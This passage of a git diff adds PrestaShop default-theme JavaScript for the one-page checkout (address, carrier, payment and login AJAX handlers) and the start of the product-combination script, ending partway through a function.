updateCarrierSelectionAndGift(); + }); + + // Term Of Service (TOS) + $('#cgv').click(function() { + updatePaymentMethodsDisplay(); + }); +} diff --git a/themes/default/js/order-opc.js b/themes/default/js/order-opc.js new file mode 100755 index 0000000..162f955 --- /dev/null +++ b/themes/default/js/order-opc.js @@ -0,0 +1,865 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +function updateCarrierList(json) +{ + var html = json.carrier_block; + + // @todo check with theme 1.4 + //if ($('#HOOK_EXTRACARRIER').length == 0 && json.HOOK_EXTRACARRIER !== null && json.HOOK_EXTRACARRIER != undefined) + // html += json.HOOK_EXTRACARRIER; + + $('#carrier_area').replaceWith(html); + bindInputs(); + /* update hooks for carrier module */ + $('#HOOK_BEFORECARRIER').html(json.HOOK_BEFORECARRIER); +} + +function updatePaymentMethods(json) +{ + $('#HOOK_TOP_PAYMENT').html(json.HOOK_TOP_PAYMENT); + $('#opc_payment_methods-content #HOOK_PAYMENT').html(json.HOOK_PAYMENT); +} + +function updatePaymentMethodsDisplay() +{ + var checked = ''; + if ($('#cgv:checked').length !== 0) + checked = 1; + else + checked = 0; + $('#opc_payment_methods-overlay').fadeIn('slow', function(){ + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: orderOpcUrl + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType : "json", + data: 'ajax=true&method=updateTOSStatusAndGetPayments&checked=' + checked + '&token=' + static_token, + success: function(json) + { + updatePaymentMethods(json); + } + }); + $(this).fadeOut('slow'); + }); +} + +function updateAddressSelection() +{ + var idAddress_delivery = ($('#opc_id_address_delivery').length == 1 ? $('#opc_id_address_delivery').val() : $('#id_address_delivery').val()); + var idAddress_invoice = ($('#opc_id_address_invoice').length == 1 ? $('#opc_id_address_invoice').val() : ($('#addressesAreEquals:checked').length == 1 ? idAddress_delivery : ($('#id_address_invoice').length == 1 ? $('#id_address_invoice').val() : idAddress_delivery))); + + $('#opc_account-overlay').fadeIn('slow'); + $('#opc_delivery_methods-overlay').fadeIn('slow'); + $('#opc_payment_methods-overlay').fadeIn('slow'); + + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: orderOpcUrl + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType : "json", + data: 'ajax=true&method=updateAddressesSelected&id_address_delivery=' + idAddress_delivery + '&id_address_invoice=' + idAddress_invoice + '&token=' + static_token, + success: function(jsonData) + { + if (jsonData.hasError) + { + var errors = ''; + for(var error in jsonData.errors) + //IE6 bug fix + if(error !== 'indexOf') + errors += jsonData.errors[error] + "\n"; + alert(errors); + } + else + { + // Update all product keys with the new address id + $('#cart_summary .address_'+deliveryAddress).each(function() { + $(this) + .removeClass('address_'+deliveryAddress) + .addClass('address_'+idAddress_delivery); + $(this).attr('id', $(this).attr('id').replace(/_\d+$/, '_'+idAddress_delivery)); + if ($(this).find('.cart_unit span').length > 0 && $(this).find('.cart_unit span').attr('id').length > 0) + $(this).find('.cart_unit span').attr('id', $(this).find('.cart_unit span').attr('id').replace(/_\d+$/, '_'+idAddress_delivery)); + + if ($(this).find('.cart_total span').length > 0 && $(this).find('.cart_total span').attr('id').length > 0) + $(this).find('.cart_total span').attr('id', $(this).find('.cart_total span').attr('id').replace(/_\d+$/, '_'+idAddress_delivery)); + + if ($(this).find('.cart_quantity_input').length > 0 && $(this).find('.cart_quantity_input').attr('name').length > 0) + { + var name = $(this).find('.cart_quantity_input').attr('name')+'_hidden'; + $(this).find('.cart_quantity_input').attr('name', $(this).find('.cart_quantity_input').attr('name').replace(/_\d+$/, '_'+idAddress_delivery)); + if ($(this).find('[name='+name+']').length > 0) + $(this).find('[name='+name+']').attr('name', name.replace(/_\d+_hidden$/, '_'+idAddress_delivery+'_hidden')); + } + + if ($(this).find('.cart_quantity_delete').length > 0 && $(this).find('.cart_quantity_delete').attr('id').length > 0) + { + $(this).find('.cart_quantity_delete') + .attr('id', $(this).find('.cart_quantity_delete').attr('id').replace(/_\d+$/, '_'+idAddress_delivery)) + .attr('href', $(this).find('.cart_quantity_delete').attr('href').replace(/id_address_delivery=\d+&/, 'id_address_delivery='+idAddress_delivery+'&')); + } + + if ($(this).find('.cart_quantity_down').length > 0 && $(this).find('.cart_quantity_down').attr('id').length > 0) + { + $(this).find('.cart_quantity_down') + .attr('id', $(this).find('.cart_quantity_down').attr('id').replace(/_\d+$/, '_'+idAddress_delivery)) + .attr('href', $(this).find('.cart_quantity_down').attr('href').replace(/id_address_delivery=\d+&/, 'id_address_delivery='+idAddress_delivery+'&')); + } + + if ($(this).find('.cart_quantity_up').length > 0 && $(this).find('.cart_quantity_up').attr('id').length > 0) + { + $(this).find('.cart_quantity_up') + .attr('id', $(this).find('.cart_quantity_up').attr('id').replace(/_\d+$/, '_'+idAddress_delivery)) + .attr('href', $(this).find('.cart_quantity_up').attr('href').replace(/id_address_delivery=\d+&/, 'id_address_delivery='+idAddress_delivery+'&')); + } + }); + + // Update global var deliveryAddress + deliveryAddress = idAddress_delivery; + if (window.ajaxCart !== undefined) + { + $('#cart_block_list dd, #cart_block_list dt').each(function(){ + if (typeof($(this).attr('id')) != 'undefined') + $(this).attr('id', $(this).attr('id').replace(/_\d+$/, '_' + idAddress_delivery)); + }); + } + updateCarrierList(jsonData.carrier_data); + updatePaymentMethods(jsonData); + updateCartSummary(jsonData.summary); + updateHookShoppingCart(jsonData.HOOK_SHOPPING_CART); + updateHookShoppingCartExtra(jsonData.HOOK_SHOPPING_CART_EXTRA); + if ($('#gift-price').length == 1) + $('#gift-price').html(jsonData.gift_price); + $('#opc_account-overlay, #opc_delivery_methods-overlay, #opc_payment_methods-overlay').fadeOut('slow'); + } + }, + error: function(XMLHttpRequest, textStatus, errorThrown) { + if (textStatus !== 'abort') + alert("TECHNICAL ERROR: unable to save adresses \n\nDetails:\nError thrown: " + XMLHttpRequest + "\n" + 'Text status: ' + textStatus); + $('#opc_account-overlay, #opc_delivery_methods-overlay, #opc_payment_methods-overlay').fadeOut('slow'); + } + }); +} + +function getCarrierListAndUpdate() +{ + $('#opc_delivery_methods-overlay').fadeIn('slow'); + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: orderOpcUrl + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType : "json", + data: 'ajax=true&method=getCarrierList&token=' + static_token, + success: function(jsonData) + { + if (jsonData.hasError) + { + var errors = ''; + for(var error in jsonData.errors) + //IE6 bug fix + if(error !== 'indexOf') + errors += jsonData.errors[error] + "\n"; + alert(errors); + } + else + updateCarrierList(jsonData); + $('#opc_delivery_methods-overlay').fadeOut('slow'); + } + }); +} + +function updateCarrierSelectionAndGift() +{ + var recyclablePackage = 0; + var gift = 0; + var giftMessage = ''; + + var delivery_option_radio = $('.delivery_option_radio'); + var delivery_option_params = '&'; + $.each(delivery_option_radio, function(i) { + if ($(this).prop('checked')) + delivery_option_params += $(delivery_option_radio[i]).attr('name') + '=' + $(delivery_option_radio[i]).val() + '&'; + }); + if (delivery_option_params == '&') + delivery_option_params = '&delivery_option=&'; + + if ($('input#recyclable:checked').length) + recyclablePackage = 1; + if ($('input#gift:checked').length) + { + gift = 1; + giftMessage = encodeURIComponent($('#gift_message').val()); + } + + $('#opc_delivery_methods-overlay, #opc_payment_methods-overlay').fadeOut('slow'); + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: orderOpcUrl + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType : "json", + data: 'ajax=true&method=updateCarrierAndGetPayments' + delivery_option_params + 'recyclable=' + recyclablePackage + '&gift=' + gift + '&gift_message=' + giftMessage + '&token=' + static_token , + success: function(jsonData) + { + if (jsonData.hasError) + { + var errors = ''; + for(var error in jsonData.errors) + //IE6 bug fix + if(error !== 'indexOf') + errors += jsonData.errors[error] + "\n"; + alert(errors); + } + else + { + updateCartSummary(jsonData.summary); + updatePaymentMethods(jsonData); + updateHookShoppingCart(jsonData.summary.HOOK_SHOPPING_CART); + updateHookShoppingCartExtra(jsonData.summary.HOOK_SHOPPING_CART_EXTRA); + updateCarrierList(jsonData.carrier_data); + $('#opc_delivery_methods-overlay, #opc_payment_methods-overlay').fadeOut('slow'); + refreshDeliveryOptions(); + } + }, + error: function(XMLHttpRequest, textStatus, errorThrown) { + if (textStatus !== 'abort') + alert("TECHNICAL ERROR: unable to save carrier \n\nDetails:\nError thrown: " + XMLHttpRequest + "\n" + 'Text status: ' + textStatus); + $('#opc_delivery_methods-overlay, #opc_payment_methods-overlay').fadeOut('slow'); + } + }); +} + +function confirmFreeOrder() +{ + if ($('#opc_new_account-overlay').length !== 0) + $('#opc_new_account-overlay').fadeIn('slow'); + else + $('#opc_account-overlay').fadeIn('slow'); + $('#opc_delivery_methods-overlay, #opc_payment_methods-overlay').fadeOut('slow'); + $('#confirmOrder').attr('disabled', 'disabled'); + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: orderOpcUrl + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType : "html", + data: 'ajax=true&method=makeFreeOrder&token=' + static_token , + success: function(html) + { + $('#confirmOrder').attr('disabled', ''); + var array_split = html.split(':'); + if (array_split[0] == 'freeorder') + { + if (isGuest) + document.location.href = guestTrackingUrl+'?id_order='+encodeURIComponent(array_split[1])+'&email='+encodeURIComponent(array_split[2]); + else + document.location.href = historyUrl; + } + }, + error: function(XMLHttpRequest, textStatus, errorThrown) { + if (textStatus !== 'abort') + alert("TECHNICAL ERROR: unable to confirm the order \n\nDetails:\nError thrown: " + XMLHttpRequest + "\n" + 'Text status: ' + textStatus); + } + }); +} + +function saveAddress(type) +{ + if (type !== 'delivery' && type !== 'invoice') + return false; + + var params = 'firstname='+encodeURIComponent($('#firstname'+(type == 'invoice' ? '_invoice' : '')).val())+'&lastname='+encodeURIComponent($('#lastname'+(type == 'invoice' ? '_invoice' : '')).val())+'&'; + params += 'company='+encodeURIComponent($('#company'+(type == 'invoice' ? '_invoice' : '')).val())+'&'; + params += 'vat_number='+encodeURIComponent($('#vat_number'+(type == 'invoice' ? '_invoice' : '')).val())+'&'; + params += 'dni='+encodeURIComponent($('#dni'+(type == 'invoice' ? '_invoice' : '')).val())+'&'; + params += 'address1='+encodeURIComponent($('#address1'+(type == 'invoice' ? '_invoice' : '')).val())+'&'; + params += 'address2='+encodeURIComponent($('#address2'+(type == 'invoice' ? '_invoice' : '')).val())+'&'; + params += 'postcode='+encodeURIComponent($('#postcode'+(type == 'invoice' ? '_invoice' : '')).val())+'&'; + params += 'city='+encodeURIComponent($('#city'+(type == 'invoice' ? '_invoice' : '')).val())+'&'; + params += 'id_country='+encodeURIComponent($('#id_country').val())+'&'; + if ($('#id_state'+(type == 'invoice' ? '_invoice' : '')).val()) + params += 'id_state='+encodeURIComponent($('#id_state'+(type == 'invoice' ? '_invoice' : '')).val())+'&'; + params += 'other='+encodeURIComponent($('#other'+(type == 'invoice' ? '_invoice' : '')).val())+'&'; + params += 'phone='+encodeURIComponent($('#phone'+(type == 'invoice' ? '_invoice' : '')).val())+'&'; + params += 'phone_mobile='+encodeURIComponent($('#phone_mobile'+(type == 'invoice' ? '_invoice' : '')).val())+'&'; + params += 'alias='+encodeURIComponent($('#alias'+(type == 'invoice' ? '_invoice' : '')).val())+'&'; + if (type == 'delivery' && $('#opc_id_address_delivery').val() != undefined && parseInt($('#opc_id_address_delivery').val()) > 0) + params += 'opc_id_address_delivery='+encodeURIComponent($('#opc_id_address_delivery').val())+'&'; + if (type == 'invoice' && $('#opc_id_address_invoice').val() != undefined && parseInt($('#opc_id_address_invoice').val()) > 0) + params += 'opc_id_address_invoice='+encodeURIComponent($('#opc_id_address_invoice').val())+'&'; + // Clean the last & + params = params.substr(0, params.length-1); + + var result = false; + + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: addressUrl + '?rand=' + new Date().getTime(), + async: false, + cache: false, + dataType : "json", + data: 'ajax=true&submitAddress=true&type='+type+'&'+params+'&token=' + static_token, + success: function(jsonData) + { + if (jsonData.hasError) + { + var tmp = ''; + var i = 0; + for(var error in jsonData.errors) + //IE6 bug fix + if(error !== 'indexOf') + { + i = i+1; + tmp += '
          • '+jsonData.errors[error]+'
          • '; + } + tmp += ''; + var errors = ''+txtThereis+' '+i+' '+txtErrors+':
              '+tmp; + $('#opc_account_errors').slideUp('fast', function(){ + $(this).html(errors).slideDown('slow', function(){ + $.scrollTo('#opc_account_errors', 800); + }); + }); + $('#opc_account-overlay, #opc_delivery_methods-overlay, #opc_payment_methods-overlay').fadeOut('slow'); + result = false; + } + else + { + // update addresses id + $('input#opc_id_address_delivery').val(jsonData.id_address_delivery); + $('input#opc_id_address_invoice').val(jsonData.id_address_invoice); + result = true; + } + }, + error: function(XMLHttpRequest, textStatus, errorThrown) { + if (textStatus !== 'abort') + alert("TECHNICAL ERROR: unable to save adresses \n\nDetails:\nError thrown: " + XMLHttpRequest + "\n" + 'Text status: ' + textStatus); + $('#opc_account-overlay, #opc_delivery_methods-overlay, #opc_payment_methods-overlay').fadeOut('slow'); + } + }); + + return result; +} + +function updateNewAccountToAddressBlock() +{ + $('#opc_account-overlay, #opc_delivery_methods-overlay, #opc_payment_methods-overlay').fadeOut('slow');; + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: orderOpcUrl + '?rand=' + new Date().getTime(), + async: true, + cache: false, + dataType : "json", + data: 'ajax=true&method=getAddressBlockAndCarriersAndPayments&token=' + static_token , + success: function(json) + { + isLogged = 1; + if (json.no_address == 1) + document.location.href = addressUrl; + + $('#opc_new_account').fadeOut('fast', function() { + $('#opc_new_account').html(json.order_opc_adress); + // update block user info + if (json.block_user_info !== '' && $('#header_user').length == 1) + { + var elt = $(json.block_user_info).find('#header_user_info').html(); + $('#header_user_info').fadeOut('nortmal', function() { + $(this).html(elt).fadeIn(); + }); + } + $('#opc_new_account').fadeIn('fast', function() { + //After login, the products are automatically associated to an address + $.each(json.summary.products, function() { + updateAddressId(this.id_product, this.id_product_attribute, '0', this.id_address_delivery); + }); + updateAddressesDisplay(true); + updateCarrierList(json.carrier_data); + updateCarrierSelectionAndGift(); + updatePaymentMethods(json); + if ($('#gift-price').length == 1) + $('#gift-price').html(json.gift_price); + $('#opc_delivery_methods-overlay, #opc_payment_methods-overlay').fadeOut('slow'); + }); + }); + }, + error: function(XMLHttpRequest, textStatus, errorThrown) { + if (textStatus !== 'abort') + alert("TECHNICAL ERROR: unable to send login informations \n\nDetails:\nError thrown: " + XMLHttpRequest + "\n" + 'Text status: ' + textStatus); + $('#opc_delivery_methods-overlay, #opc_payment_methods-overlay').fadeOut('slow'); + } + }); +} + +$(function() { + // GUEST CHECKOUT / NEW ACCOUNT MANAGEMENT + if ((!isLogged) || (isGuest)) + { + if (guestCheckoutEnabled && !isLogged) + { + $('#opc_account_choice').show(); + $('#opc_account_form, #opc_invoice_address').hide(); + + $('#opc_createAccount').click(function() { + $('.is_customer_param').show(); + $('#opc_account_form').slideDown('slow'); + $('#is_new_customer').val('1'); + $('#opc_account_choice, #opc_invoice_address').hide(); + updateState(); + updateNeedIDNumber(); + updateZipCode(); + }); + $('#opc_guestCheckout').click(function() { + $('.is_customer_param').hide(); + $('#opc_account_form').slideDown('slow'); + $('#is_new_customer').val('0'); + $('#opc_account_choice, #opc_invoice_address').hide(); + $('#new_account_title').html(txtInstantCheckout); + updateState(); + updateNeedIDNumber(); + updateZipCode(); + }); + } + else if (isGuest) + { + $('.is_customer_param').hide(); + $('#opc_account_form').show('slow'); + $('#is_new_customer').val('0'); + $('#opc_account_choice, #opc_invoice_address').hide(); + $('#new_account_title').html(txtInstantCheckout); + updateState(); + updateNeedIDNumber(); + updateZipCode(); + } + else + { + $('#opc_account_choice').hide(); + $('#is_new_customer').val('1'); + $('.is_customer_param, #opc_account_form').show(); + $('#opc_invoice_address').hide(); + updateState(); + updateNeedIDNumber(); + updateZipCode(); + } + + // LOGIN FORM + $('#openLoginFormBlock').click(function() { + $('#openNewAccountBlock').show(); + $(this).hide(); + $('#login_form_content').slideDown('slow'); + $('#new_account_form_content').slideUp('slow'); + return false; + }); + // LOGIN FORM SENDING + $('#SubmitLogin').click(function() { + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: authenticationUrl + '?rand=' + new Date().getTime(), + async: false, + cache: false, + dataType : "json", + data: 'SubmitLogin=true&ajax=true&email='+encodeURIComponent($('#login_email').val())+'&passwd='+encodeURIComponent($('#login_passwd').val())+'&token=' + static_token , + success: function(jsonData) + { + if (jsonData.hasError) + { + var errors = ''+txtThereis+' '+jsonData.errors.length+' '+txtErrors+':
                '; + for(var error in jsonData.errors) + //IE6 bug fix + if(error !== 'indexOf') + errors += '
              1. '+jsonData.errors[error]+'
              2. '; + errors += '
              '; + $('#opc_login_errors').html(errors).slideDown('slow'); + } + else + { + // update token + static_token = jsonData.token; + updateNewAccountToAddressBlock(); + } + }, + error: function(XMLHttpRequest, textStatus, errorThrown) { + if (textStatus !== 'abort') + alert("TECHNICAL ERROR: unable to send login informations \n\nDetails:\nError thrown: " + XMLHttpRequest + "\n" + 'Text status: ' + textStatus); + } + }); + return false; + }); + + // INVOICE ADDRESS + $('#invoice_address').click(function() { + bindCheckbox(); + }); + + // VALIDATION / CREATION AJAX + $('#submitAccount').click(function() { + $('#opc_new_account-overlay, #opc_delivery_methods-overlay, #opc_payment_methods-overlay').fadeIn('slow') + + var callingFile = ''; + var params = ''; + + if (parseInt($('#opc_id_customer').val()) == 0) + { + callingFile = authenticationUrl; + params = 'submitAccount=true&'; + } + else + { + callingFile = orderOpcUrl; + params = 'method=editCustomer&'; + } + + $('#opc_account_form input:visible, #opc_account_form input[type=hidden]').each(function() { + if ($(this).is('input[type=checkbox]')) + { + if ($(this).is(':checked')) + params += encodeURIComponent($(this).attr('name'))+'=1&'; + } + else if ($(this).is('input[type=radio]')) + { + if ($(this).is(':checked')) + params += encodeURIComponent($(this).attr('name'))+'='+encodeURIComponent($(this).val())+'&'; + } + else + params += encodeURIComponent($(this).attr('name'))+'='+encodeURIComponent($(this).val())+'&'; + }); + $('#opc_account_form select:visible').each(function() { + params += encodeURIComponent($(this).attr('name'))+'='+encodeURIComponent($(this).val())+'&'; + }); + params += 'customer_lastname='+encodeURIComponent($('#customer_lastname').val())+'&'; + params += 'customer_firstname='+encodeURIComponent($('#customer_firstname').val())+'&'; + params += 'alias='+encodeURIComponent($('#alias').val())+'&'; + params += 'other='+encodeURIComponent($('#other').val())+'&'; + params += 'is_new_customer='+encodeURIComponent($('#is_new_customer').val())+'&'; + // Clean the last & + params = params.substr(0, params.length-1); + + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: callingFile + '?rand=' + new Date().getTime(), + async: false, + cache: false, + dataType : "json", + data: 'ajax=true&'+params+'&token=' + static_token , + success: function(jsonData) + { + if (jsonData.hasError) + { + var tmp = ''; + var i = 0; + for(var error in jsonData.errors) + //IE6 bug fix + if(error !== 'indexOf') + { + i = i+1; + tmp += '
            1. '+jsonData.errors[error]+'
            2. '; + } + tmp += '
            '; + var errors = ''+txtThereis+' '+i+' '+txtErrors+':
              '+tmp; + $('#opc_account_errors').slideUp('fast', function(){ + $(this).html(errors).slideDown('slow', function(){ + $.scrollTo('#opc_account_errors', 800); + }); + }); + } + else + { + $('#opc_account_errors').slideUp('slow', function(){ + $(this).html(''); + }); + } + + isGuest = parseInt($('#is_new_customer').val()) == 1 ? 0 : 1; + // update addresses id + if(jsonData.id_address_delivery !== undefined && jsonData.id_address_delivery > 0) + $('#opc_id_address_delivery').val(jsonData.id_address_delivery); + if(jsonData.id_address_invoice !== undefined && jsonData.id_address_invoice > 0) + $('#opc_id_address_invoice').val(jsonData.id_address_invoice); + + if (jsonData.id_customer !== undefined && jsonData.id_customer !== 0 && jsonData.isSaved) + { + // update token + static_token = jsonData.token; + + // It's not a new customer + if ($('#opc_id_customer').val() !== '0') + if (!saveAddress('delivery')) + return false; + + // update id_customer + $('#opc_id_customer').val(jsonData.id_customer); + + if ($('#invoice_address:checked').length !== 0) + { + if (!saveAddress('invoice')) + return false; + } + + // update id_customer + $('#opc_id_customer').val(jsonData.id_customer); + + // force to refresh carrier list + if (isGuest) + { + isLogged = 1; + $('#opc_account_saved').fadeIn('slow'); + $('#submitAccount').hide(); + updateAddressSelection(); + } + else + updateNewAccountToAddressBlock(); + } + $('#opc_new_account-overlay, #opc_delivery_methods-overlay, #opc_payment_methods-overlay').fadeIn('slow'); + }, + error: function(XMLHttpRequest, textStatus, errorThrown) { + if (textStatus !== 'abort') + alert("TECHNICAL ERROR: unable to save account \n\nDetails:\nError thrown: " + XMLHttpRequest + "\n" + 'Text status: ' + textStatus); + $('#opc_new_account-overlay, #opc_delivery_methods-overlay, #opc_payment_methods-overlay').fadeIn('slow') + } + }); + return false; + }); + } + + bindCheckbox(); + bindInputs(); + + $('#opc_account_form input,select,textarea').change(function() { + if ($(this).is(':visible')) + { + $('#opc_account_saved').fadeOut('slow'); + $('#submitAccount').show(); + } + }); + +}); + +function bindCheckbox() +{ + if ($('#invoice_address:checked').length > 0) + { + $('#opc_invoice_address').slideDown('slow'); + if ($('#company_invoice').val() == '') + $('#vat_number_block_invoice').hide(); + updateState('invoice'); + updateNeedIDNumber('invoice'); + updateZipCode('invoice'); + } + else + $('#opc_invoice_address').slideUp('slow'); +} + +function bindInputs() +{ + // Order message update + $('#message').blur(function() { + $('#opc_delivery_methods-overlay').fadeIn('slow'); + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: orderOpcUrl + '?rand=' + new Date().getTime(), + async: false, + cache: false, + dataType : "json", + data: 'ajax=true&method=updateMessage&message=' + encodeURIComponent($('#message').val()) + '&token=' + static_token , + success: function(jsonData) + { + if (jsonData.hasError) + { + var errors = ''; + for(var error in jsonData.errors) + //IE6 bug fix + if(error !== 'indexOf') + errors += jsonData.errors[error] + "\n"; + alert(errors); + } + else + $('#opc_delivery_methods-overlay').fadeOut('slow'); + }, + error: function(XMLHttpRequest, textStatus, errorThrown) { + if (textStatus !== 'abort') + alert("TECHNICAL ERROR: unable to save message \n\nDetails:\nError thrown: " + XMLHttpRequest + "\n" + 'Text status: ' + textStatus); + $('#opc_delivery_methods-overlay').fadeOut('slow'); + } + }); + }); + + // Recyclable checkbox + $('#recyclable').click(function() { + updateCarrierSelectionAndGift(); + }); + + // Gift checkbox update + $('#gift').click(function() { + if ($('#gift').is(':checked')) + $('#gift_div').show(); + else + $('#gift_div').hide(); + updateCarrierSelectionAndGift(); + }); + + if ($('#gift').is(':checked')) + $('#gift_div').show(); + else + $('#gift_div').hide(); + + // Gift message update + $('#gift_message').change(function() { + updateCarrierSelectionAndGift(); + }); + + // Term Of Service (TOS) + $('#cgv').click(function() { + updatePaymentMethodsDisplay(); + }); +} + +function multishippingMode(it) +{ + if ($(it).prop('checked')) + { + $('#address_delivery, .address_delivery').hide(); + $('#address_invoice').removeClass('alternate_item').addClass('item'); + $('#multishipping_mode_box').addClass('on'); + $('.addressesAreEquals').hide(); + $('#address_invoice_form').show(); + + $('#link_multishipping_form').click(function() {return false;}); + $('.address_add a').attr('href', addressMultishippingUrl); + + $('#link_multishipping_form').fancybox({ + 'transitionIn': 'elastic', + 'transitionOut': 'elastic', + 'type': 'ajax', + 'onClosed': function() + { + // Reload the cart + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: orderOpcUrl + '?rand=' + new Date().getTime(), + data: 'ajax=true&method=cartReload', + dataType : 'html', + cache: false, + success: function(data) { + $('#cart_summary').replaceWith($(data).find('#cart_summary')); + $('.cart_quantity_input').typeWatch({ highlight: true, wait: 600, captureLength: 0, callback: function(val) { updateQty(val, true, this.el); } }); + } + }); + updateCarrierSelectionAndGift(); + }, + 'onStart': function() + { + // Removing all ids on the cart to avoid conflic with the new one on the fancybox + // This action could "break" the cart design, if css rules use ids of the cart + $.each($('#cart_summary *'), function(it, el) { + $(el).attr('id', ''); + }); + }, + 'onComplete': function() + { + $('#fancybox-content .cart_quantity_input').typeWatch({ highlight: true, wait: 600, captureLength: 0, callback: function(val) { updateQty(val, false, this.el);} }); + cleanSelectAddressDelivery(); + $('#fancybox-content').append($('')); + $('#multishipping-close').click(function() { + var newTotalQty = 0; + $('#fancybox-content .cart_quantity_input').each(function(){ + newTotalQty += parseInt($(this).val()); + }); + if (newTotalQty !== totalQty) { + if(!confirm(QtyChanged)) { + return false; + } + } + $.fancybox.close(); + return false; + }); + totalQty = 0; + $('#fancybox-content .cart_quantity_input').each(function(){ + totalQty += parseInt($(this).val()); + }); + } + }); + } + else + { + $('#address_delivery, .address_delivery').show(); + $('#address_invoice').removeClass('item').addClass('alternate_item'); + $('#multishipping_mode_box').removeClass('on'); + $('.addressesAreEquals').show(); + if ($('.addressesAreEquals').find('input:checked').length) + $('#address_invoice_form').hide(); + else + $('#address_invoice_form').show(); + $('.address_add a').attr('href', addressUrl); + + // Disable multi address shipping + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: orderOpcUrl + '?rand=' + new Date().getTime(), + async: true, + cache: false, + data: 'ajax=true&method=noMultiAddressDelivery' + }); + + // Reload the cart + $.ajax({ + type: 'POST', + headers: { "cache-control": "no-cache" }, + url: orderOpcUrl + '?rand=' + new Date().getTime(), + async: true, + cache: false, + data: 'ajax=true&method=cartReload', + dataType : 'html', + success: function(data) { + $('#cart_summary').replaceWith($(data).find('#cart_summary')); + } + }); + } +} + +$(document).ready(function() { + // If the multishipping mode is off assure us the checkbox "I want to specify a delivery address for each products I order." is unchecked. + $('#multishipping_mode_checkbox').attr('checked', false); + // If the multishipping mode is on, check the box "I want to specify a delivery address for each products I order.". + if (typeof(multishipping_mode) !== 'undefined' && multishipping_mode) + { + $('#multishipping_mode_checkbox').click(); + $('.addressesAreEquals').hide().find('input').attr('checked', false); + } + if (typeof(open_multishipping_fancybox) !== 'undefined' && open_multishipping_fancybox) + $('#link_multishipping_form').click(); +}); \ No newline at end of file diff --git a/themes/default/js/product.js b/themes/default/js/product.js new file mode 100755 index 0000000..a2e2d34 --- /dev/null +++ b/themes/default/js/product.js @@ -0,0 +1,754 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + + +//global variables +var combinations = []; +var selectedCombination = []; +var globalQuantity = 0; +var colors = []; + +//check if a function exists +function function_exists(function_name) +{ + if (typeof function_name == 'string') + return (typeof window[function_name] == 'function'); + return (function_name instanceof Function); +} + +//execute oosHook js code +function oosHookJsCode() +{ + for (var i = 0; i < oosHookJsCodeFunctions.length; i++) + { + if (function_exists(oosHookJsCodeFunctions[i])) + setTimeout(oosHookJsCodeFunctions[i] + '()', 0); + } +} + + +function flexSlide(){ + + $('.flexslider').flexslider({ + animation: "slide", + after: function(){ + var ind = $('.flex-active-slide').index(); + $('#views_block a').removeClass('shown'); + $('#views_block a:eq('+(ind-1)+')').addClass('shown'); + account++; + // console.log(account); + + if(account == len){ + setTimeout(function(){ $('.flex-control-nav li:eq(0) a').trigger('click'); }, 3000); + + } + } + }); + +} + +//add a combination of attributes in the global JS sytem +function addCombination(idCombination, arrayOfIdAttributes, quantity, price, ecotax, id_image, reference, unit_price, minimal_quantity, available_date, combination_specific_price) +{ + globalQuantity += quantity; + + var combination = []; + combination['idCombination'] = idCombination; + combination['quantity'] = quantity; + combination['idsAttributes'] = arrayOfIdAttributes; + combination['price'] = price; + combination['ecotax'] = ecotax; + combination['image'] = id_image; + combination['reference'] = reference; + combination['unit_price'] = unit_price; + combination['minimal_quantity'] = minimal_quantity; + combination['available_date'] = []; + combination['available_date'] = available_date; + combination['specific_price'] = []; + combination['specific_price'] = combination_specific_price; + combinations.push(combination); +} + +// search the combinations' case of attributes and update displaying of availability, prices, ecotax, and image +function findCombination(firstTime) +{ + $('#minimal_quantity_wanted_p').fadeOut(); + $('#quantity_wanted').val(1); + //create a temporary 'choice' array containing the choices of the customer + var choice = []; + $('#attributes select, #attributes input[type=hidden], #attributes input[type=radio]:checked').each(function(){ + choice.push($(this).val()); + }); + + //testing every combination to find the conbination's attributes' case of the user + for (var combination = 0; combination < combinations.length; ++combination) + { + //verify if this combinaison is the same that the user's choice + var combinationMatchForm = true; + $.each(combinations[combination]['idsAttributes'], function(key, value) + { + if (!in_array(value, choice)) + combinationMatchForm = false; + }); + + if (combinationMatchForm) 